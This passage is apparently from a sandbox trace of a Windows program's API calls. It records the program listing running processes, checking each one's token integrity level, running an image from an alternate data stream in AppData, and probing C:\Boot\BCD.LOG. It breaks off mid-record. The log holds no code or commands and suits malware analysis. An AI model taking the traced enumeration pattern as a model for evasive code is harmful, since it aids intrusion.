ProcessHandle=0x2c4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.597] NtQueryVirtualMemory (in: ProcessHandle=0x2c4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.608] QueryFullProcessImageNameW (in: hProcess=0x2c8, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Program Files (x86)\\Google\\committee.exe", lpdwSize=0x174fa50) returned 1 [0075.608] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.608] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.608] IsWow64Process (in: hProcess=0x2c8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.608] NtQueryInformationProcess (in: ProcessHandle=0x2c8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.608] GetProcessTimes (in: hProcess=0x2c8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.608] OpenProcessToken (in: ProcessHandle=0x2c8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.608] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.608] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.608] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.608] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.609] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.609] NtClose (Handle=0x2e8) returned 0x0 [0075.609] NtQueryVirtualMemory (in: ProcessHandle=0x2c8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.609] NtQueryVirtualMemory (in: ProcessHandle=0x2c8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.620] QueryFullProcessImageNameW (in: hProcess=0x2cc, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x174fa50) returned 1 [0075.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.620] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.620] IsWow64Process (in: hProcess=0x2cc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.620] NtQueryInformationProcess (in: ProcessHandle=0x2cc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.620] GetProcessTimes (in: hProcess=0x2cc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.620] OpenProcessToken (in: ProcessHandle=0x2cc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.620] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.620] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.620] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.620] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0075.620] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0075.620] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.620] NtClose (Handle=0x2e8) returned 0x0 [0075.621] NtQueryVirtualMemory (in: ProcessHandle=0x2cc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0x1, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.621] NtQueryVirtualMemory (in: ProcessHandle=0x2cc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.637] QueryFullProcessImageNameW (in: hProcess=0x2d0, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\wbem\\WmiPrvSE.exe", lpdwSize=0x174fa50) returned 1 [0075.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.637] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.637] IsWow64Process (in: hProcess=0x2d0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.637] NtQueryInformationProcess (in: ProcessHandle=0x2d0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.637] GetProcessTimes (in: hProcess=0x2d0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.637] OpenProcessToken (in: ProcessHandle=0x2d0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.637] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.637] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.637] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.637] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0075.637] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0075.637] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.638] NtClose (Handle=0x2e8) returned 0x0 [0075.638] NtQueryVirtualMemory (in: ProcessHandle=0x2d0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.638] NtQueryVirtualMemory (in: ProcessHandle=0x2d0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.662] QueryFullProcessImageNameW (in: hProcess=0x2d4, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\VSSVC.exe", lpdwSize=0x174fa50) returned 1 [0075.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.662] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.662] IsWow64Process (in: hProcess=0x2d4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.662] NtQueryInformationProcess (in: ProcessHandle=0x2d4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.662] GetProcessTimes (in: hProcess=0x2d4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.662] OpenProcessToken (in: ProcessHandle=0x2d4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.662] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.662] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.662] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.662] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0075.662] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0075.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.662] NtClose (Handle=0x2e8) returned 0x0 [0075.662] NtQueryVirtualMemory (in: ProcessHandle=0x2d4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.662] NtQueryVirtualMemory (in: ProcessHandle=0x2d4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.683] QueryFullProcessImageNameW (in: hProcess=0x2d8, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\svchost.exe", lpdwSize=0x174fa50) returned 1 [0075.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.683] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.683] IsWow64Process (in: hProcess=0x2d8, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.683] NtQueryInformationProcess (in: ProcessHandle=0x2d8, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.683] GetProcessTimes (in: hProcess=0x2d8, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.683] OpenProcessToken (in: ProcessHandle=0x2d8, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.683] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.684] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.684] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0x1045229 [0075.684] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0x1045230 [0075.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.684] NtClose (Handle=0x2e8) returned 0x0 [0075.684] NtQueryVirtualMemory (in: ProcessHandle=0x2d8, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.684] NtQueryVirtualMemory (in: ProcessHandle=0x2d8, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.697] QueryFullProcessImageNameW (in: hProcess=0x2dc, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\Q5V3JP~1:bin", lpdwSize=0x174fa50) returned 1 [0075.697] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.697] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.697] IsWow64Process (in: hProcess=0x2dc, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.697] NtQueryInformationProcess (in: ProcessHandle=0x2dc, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.697] GetProcessTimes (in: hProcess=0x2dc, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.697] OpenProcessToken (in: ProcessHandle=0x2dc, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.697] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.697] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.697] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.697] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.697] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.698] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.698] NtClose (Handle=0x2e8) returned 0x0 [0075.698] NtQueryVirtualMemory (in: ProcessHandle=0x2dc, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0075.698] NtQueryVirtualMemory (in: ProcessHandle=0x2dc, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0075.716] QueryFullProcessImageNameW (in: hProcess=0x2e0, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\net.exe", lpdwSize=0x174fa50) returned 1 [0075.716] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.716] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.716] IsWow64Process (in: hProcess=0x2e0, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.716] NtQueryInformationProcess (in: ProcessHandle=0x2e0, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.716] GetProcessTimes (in: hProcess=0x2e0, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.716] OpenProcessToken (in: ProcessHandle=0x2e0, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.716] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.716] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.716] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.716] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.716] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.717] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.717] NtClose (Handle=0x2e8) returned 0x0 [0075.717] NtQueryVirtualMemory (in: ProcessHandle=0x2e0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0x1, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.717] NtQueryVirtualMemory (in: ProcessHandle=0x2e0, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.725] QueryFullProcessImageNameW (in: hProcess=0x2e4, dwFlags=0x0, lpExeName=0x181a060, lpdwSize=0x174fa50 | out: lpExeName="C:\\Windows\\System32\\conhost.exe", lpdwSize=0x174fa50) returned 1 [0075.725] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.725] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x174fa24 | out: Wow64Process=0x174fa24) returned 1 [0075.725] IsWow64Process (in: hProcess=0x2e4, Wow64Process=0x174fa34 | out: Wow64Process=0x174fa34) returned 1 [0075.725] NtQueryInformationProcess (in: ProcessHandle=0x2e4, ProcessInformationClass=0x18, ProcessInformation=0x174fa30, ProcessInformationLength=0x4, ReturnLength=0x174fa34 | out: ProcessInformation=0x174fa30, ReturnLength=0x174fa34) returned 0x0 [0075.725] GetProcessTimes (in: hProcess=0x2e4, lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58 | out: lpCreationTime=0x174fa50, lpExitTime=0x174fa58, lpKernelTime=0x174fa58, lpUserTime=0x174fa58) returned 1 [0075.725] OpenProcessToken (in: ProcessHandle=0x2e4, DesiredAccess=0x8, TokenHandle=0x174fa24 | out: TokenHandle=0x174fa24*=0x2e8) returned 1 [0075.725] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x174fa20 | out: TokenInformation=0x0, ReturnLength=0x174fa20) returned 0 [0075.725] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x40) returned 0x1045220 [0075.725] GetTokenInformation (in: TokenHandle=0x2e8, TokenInformationClass=0x19, TokenInformation=0x1045220, TokenInformationLength=0x14, ReturnLength=0x174fa20 | out: TokenInformation=0x1045220, ReturnLength=0x174fa20) returned 1 [0075.725] GetSidSubAuthorityCount (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x1045229 [0075.726] GetSidSubAuthority (pSid=0x1045228*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x1045230 [0075.726] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1045220) returned 1 [0075.726] NtClose (Handle=0x2e8) returned 0x0 [0075.726] NtQueryVirtualMemory (in: ProcessHandle=0x2e4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.726] NtQueryVirtualMemory (in: ProcessHandle=0x2e4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x10451d8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0x10451d8*(BaseAddress=0x10000, AllocationBase=0x0, AllocationProtect=0x10000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0075.734] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x181a060, ucchMax=0x200 | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0075.734] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.734] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.734] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x181a060) returned 1 [0075.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.735] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.735] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.735] GetFileAttributesExW (in: lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, 